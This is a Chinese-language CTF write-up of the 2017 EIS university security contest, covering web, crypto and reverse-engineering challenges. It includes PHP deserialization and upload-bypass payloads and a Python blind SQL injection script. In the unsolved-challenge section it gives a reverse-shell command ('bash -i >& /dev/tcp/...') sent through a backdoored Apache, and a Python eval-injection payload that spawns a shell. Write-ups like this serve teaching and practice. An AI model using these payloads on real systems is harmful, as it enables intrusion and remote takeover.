2017EIS CTFwriteup
EIS2017也就是2017年高校网络信息安全管理 运维挑战赛,全国一百多所高校参赛,侥幸拿了个地区三等奖,
事先不知道理论赛占分比,不然就会是二等奖(吐槽),生活没有如果,下次努力吧。
比赛已经结束大概两周了,直到前几天奖杯到了才想起来写下吧,结果拖延到今天。写下来方便以后查看。
总体来说比赛题目不是太难,刚开始的题目都被各位表哥都给秒了。下面就看一下吧。
一、签到题
一个二维码,直接扫下就出来了flag(EIS{2a051b6c88b5a1211655d110259196b8}
)
二、PHP代码审计
说了简单的代码审计,打开就是源码,没有其他过多的套路。
这个题目以前是做过的,先引入flag1.php文件代码,然后通过get方式传递 args变量才能执行if里面的代码,正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成,这里才是关键eval("var_dump($$args);");百度一下可以知道是可变变量,只需给变量传一个全局数组变量就好了 所以我们构造 args=GLOBALS。链接(http://202.112.26.124:8080/edd1620126f2caeb5c2b3b9452fa2639/index.php?args=GLOBALS),截图如下

三、随机数
打开让填随机数,运气哪有那么好?发现规律是都是三位数字,没有超过1000,干脆爆破,其实也不用写什么脚本,burpsuite就好,抓包,爆破100--999


四、快速计算
算术题,人哪能算那么快,写个脚本吧
import requests
from bs4 import BeautifulSoup
url1 = "http://202.120.7.220:2333/"
url2 = "http://202.120.7.220:2333/index.php"
requ = requests.get(url1)
requ = requ.content
Soup = BeautifulSoup(requ,'lxml')
list = Soup.find('form')
result = eval(list.text[13:-1])
print(result)
post = requests.post(url2,data = {'v' : result})
print(post.text)
截图如下flag(EIS{sdf4we5554})

五、PHP是最好的语言
首先打开啥都没有,扫下,发现(http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php.bak),bak文件泄露,下载,看到源码,感觉很熟悉,用的是PHP的函数漏洞,找了篇相关的题目(http://www.mamicode.com/info-detail-1458817.html),然后自己构造了payload如下(http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php
?foo=a:2:{s:6:"param1";s:5:"2018e";s:6:"param2";a:5:{i:0;a:1:{i:0;i:1;}i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:0;}}
&egg[0]=%00MyAns
&egg[1][]=1111)

六、php trick
打开查看源代码,看到源码,简单的看下就知道是变量覆盖,GET提交,然后绕过验证的问题,因此直接构造payload:/index.php?flag=&gift=
这里注意下,没有index.php的话是不出flag的,看到假flag后然后进行移位就可以看到真flag。(EIS{jbfuvsynt})


七、不是管理员也能登陆
Php弱类型,反序列化
让看说明与帮助,那就点开看看呗,看到了部分代码
$test=$_GET['userid']; $test=md5($test); <br> if($test != '0'){ <br> $this->error('用户名有误,请阅读说明与帮助!');
$pwd =$this->_post("password");$data_u = unserialize($pwd);if($data_u['name'] == 'XX' && $data_u['pwd']=='XX') { print_r($flag); }
上述代码可以知道,userid用MD5 0e就可以进行绕过,这里选个值吧s155964671a,password是反序列化,所以构造payload:a:2:{s:4:"name";b:1;s:3:"pwd";b:1;}
在首页进行输入就得到flag

八、文件上传
这个题被队伍的一个老哥拿了一血,上传的时候检测关键字,这个时候需要绕过,burpsuite抓包,更容易分析点。
可以用数组绕过,并且把关键字给分开进行提交,这样就可以进行上传,可以这样构造payload:ext=php&content[]=<?p&content[]=hp%0aphpinfo();
这样会上传成功,得到路径,打开即可得到flag

九、Login
只有一个登陆框,套路肯定是注入了,SQL盲注,位异或,别的运算符和函数都被禁了,直接上脚本
import requests
def getlen(url):
i=1;
while 1:
payload={'uname':"1'^(length(pwd)=%d)^'0"%(i),'pwd':'123456'}
#print payload
reponse=requests.post(url,payload)
text=reponse.content
#print text
if text.find("password error!")!=-1:
break
else:
i=i+1
return i
def getpwd(url,len,list):
ch=""
for i in range(1,len+1):
for c in list:
payload={'uname':"1'^(left(pwd,%d)='%s')^'0"%(i,ch+c),'pwd':'123456'}
reponse=requests.post(url,payload)
#print payload
text=reponse.content
if text.find("password error!")!=-1:
ch=ch+c
print ch
break
else:
pass
if __name__=='__main__':
list=[]
for i in range(10):
list.append(str(i))
for i in range(65,91):
list.append(chr(i))
for i in range(97,123):
list.append(chr(i))
url="http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php"
len=getlen(url)
print len
getpwd(url,len,list)
跑出来密码,然后账号admin,加上刚刚跑出的密码登陆就可得到flag。


十、隐藏在黑夜里的秘密
下载下来一个zip压缩包,是个伪加密,打开winhex,搜索所有的504B
然后把后面1400 后的全改成0000 然后密码就没了,提取出来图片即flag

十一、easy crypho
下面的是队友写的了。解密题目,对着给出的代码走一遍就能写出来。下载下来压缩包,两个txt文件,对应着可以写出python脚本。
得到flag:EIS{55a0a84f86a6ad40006f014619577ad3}


十二、igniteMe
逆向题,队友写的,ida打开,找到关键关键位置,分析应用将输入字符串转为HEX,经过一系列转化之后和一个数组进行比较,步骤看脚本:




十三、Reverseme
逆向题,ida打开,找到关键关键位置,流程和上一道题一样,队友直接扔脚本,我也很无奈。




十四、Flagapp
唉,好气都是队友做的,他说发现apk一个文件头部有一点点的小问题,修补dex后签名得到正确apk。逆向解包出两个.so文件。用ida打开其中一个,发现密码就是flag,根据代码生成密码得到输出。




反正我是一愣一愣的,结果输出来,好像flag还有点错误,把最后一位改成了大括号,稍微改了一下就出来了flag。
------------------------------------------------------------------------------下面是没有做出来的,给出别人的解题步骤------------------------------------------------------------------------------
十五、Apache
Hacklu原题
通过__libc_start_main劫持strlen函数来安装后门,满足条件的payload可以被system执行,最后首先发送一个正常的get请求,再发送/index.html?eqeqeqbnbnbnbnbkwkwkwkwhththththqeq=bash_-c_‘bash_-i_>&_/dev/tcp/202.112.50.114/5555_0>&1’获得一个reverse shell,直接cat flag.txt即可。
URL 中需有 ‘dpdpdpamamamamajvjvjvjvgsgsgsgsgpdp’ or ‘eqeqeqbnbnbnbnbkwkwkwkwhththththqeq’,后⾯面跟命令即可,其中下划线会被替换为空格。
十六、SimpleCMS
参考链接http://www.blogsir.com.cn/safe/471.html
十七、DNS001
参考链接http://www.blogsir.com.cn/safe/465.html
十八、验证码
本题逻辑十分简单,请求服务器器⼀个验证码,服务器器返回字符画。请求结果,服务端校验结果。有⼀个隐藏的 help 指令,可以 reconnect,问题在于如何指定 reconnect 的服务器,将发给 ws 服务的 json 中的值依次替换成 [] 可以通过报错信息推断后端逻辑,得到 method 会被带⼊入到 getattr 中,那么必须得是⼀一个类中规定好的⽅方 法才能够带⼊入进来,可行的操作并不不多,测试了__init__ 函数,根据错误信息发现可以带⼊两个参数, 因此发包如下
{“method”:”init”,”args”:[ip,port]}
接着调⽤用 reconnect
{“method”:”reconnect”}
此时服务器器上监听的端⼝口已收到信息。
我们继续请求新的验证码,发现服务端向我们请求⼀一个操作符,操作数由服务端⽣生成好了了,因此猜测整个表达式被带⼊入到 eval 中得到返回值,再给客户校验计算结果。那么答案也就显⽽易见了。我们将给客户的操作符定 义为
+__import__('os').system('python\x20/tmp/melody.py')+
那么被带⼊入到后端就会变成
eval("1+__import__('os').system('python\x20/tmp/melody.py')+2")
我们的代码就得到执⾏行行了了,尝试后成功反弹 shell。 最后在 arifmetics.py 中找到 flag。
cat ar*
import asyncio
from hashlib import md5
from random import choice, randint
from threading import Thread
SALT = b"EIS{87a5d7e4aae098be036d6b8035e4}
以上就是2017年高校网络信息安全管理 运维挑战赛的18个比赛题目的writeup。记录一下,相互学习。
任重而道远!
本文链接(http://www.cnblogs.com/Oran9e/p/7860074.html),转载请注明。
2017EIS CTFwriteup的更多相关文章
- 2017EIS高校运维大赛ctf wirteup
php代码审计 题目很简单GET传入参数args然后eval(var_dump($$args))直接传入全局变量GLOBALS就能执行 php是最好的语言 .bak泄露拿到源码 <?php $v ...
- 入CTF坑必不可少的地方-保持更新
0x00 前言 没有交易,没有买卖,没有排名,纯属分享:p 0x01 CTF介绍 CTF领域指南CTF介绍大全CTF赛事预告 0x02 CTF练习 BIN:reversingpwnableexploi ...
- CTF干货合集
CTF练习平台 http://hackinglab.cn/ 网络信息安全攻防学习平台 http://captf.com/ ctf题目 http://oj.xctf.org.cn/ XCTF_OJ练习平 ...
- 引言:CTF新世界
1. CTF的昨天和今天 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客 ...
随机推荐
- 组件 layui 常用控件下拉框的应用
下拉框的显示样式: 针对下拉框的绑定等操作时,在最后务必调用一次 form.render(); 1.基本定义: <div class="layui-form-item"> ...
- SAP 月结F.19与GR/IR
http://blog.sina.com.cn/s/blog_3eeba40101008v75.html 为什么要做月结?月结究竟都结些啥? 月结的目的和手段都不知道,只知道一部分.月结,为了出资产负 ...
- 张高兴的 Xamarin.Android 学习笔记:(三)活动生命周期
本文将直接解释我写的一个示例.示例目的在于展示 Android 活动在 Xamarin 中的用法.如果有朋友对基础知识不太了解建议先学 Android . 新建一个 Xamarin.Android 项 ...
- 真正从0开始用Unity3D制作类战地2玩法的类龙之谷、王者荣耀的手游(暨全平台游戏)
如题,(从2017年10月18日开始)正在利用业余时间研发一款神泣Shaiya2手游,引擎用Unity3D. 原因主要有2点: 对神泣太多感情,希望能做点什么来纪念乃至留下神泣这款网游: 时机已到,是 ...
- mysql主从复制的异步复制与同步复制
异 步复制:MySQL本身支持单向的.异步的复制.异步复制意味着在把数据从一台机器拷贝到另一台机器时有一个延时 – 最重要的是这意味着当应用系统的事务提交已经确认时数据并不能在同一时刻拷贝/应用到从机 ...
- Java常用类(三)之StringBuffer与StringBuidler
前言 前面一篇给大家介绍了String类,这个我们经常会用到的一个类,那这一篇给大家分享的是StringBuffer与StringBuidler.等下我也会比较他们三个之间的区别 一.StringBu ...
- 使用EF操作Mysql数据库中文变问号的解决方案
问题场景:使用Entity Framework 6.0 操作Mysql数据库,中文保存至数据库后全部变成问号.但是使用Mysql API却不会. 原因排查:首先想到的肯定是数据库编码问题,一次查询了表 ...
- 『实践』Yalmip建模+Cplex类求解
Yalmip建模+Cplex类求解 一.缘由 Yalmip只能设置部分Cplex的参数,所以需要调用Cplex类.而且optimize是Yalmip提供的常用函数,但此函数的返回结果参数有限. 图1 ...
- 关于docker使用的几个小问题(一)
由于刚接触docker踩了几个坑,希望本文对网瘾少年有所帮助. Docker分CE版(社区版)和EE版(商用版),具体安装流程参考文档介绍,在此不再赘述.下面分Windows和Linux分别踩坑: 一 ...
- C# 8.0的三个令人兴奋的新特性
C# 语言是在2000发布的,至今已正式发布了7个版本,每个版本都包含了许多令人兴奋的新特性和功能更新.同时,C# 每个版本的发布都与同时期的 Visual Studio 以及 .NET 运行时版本高 ...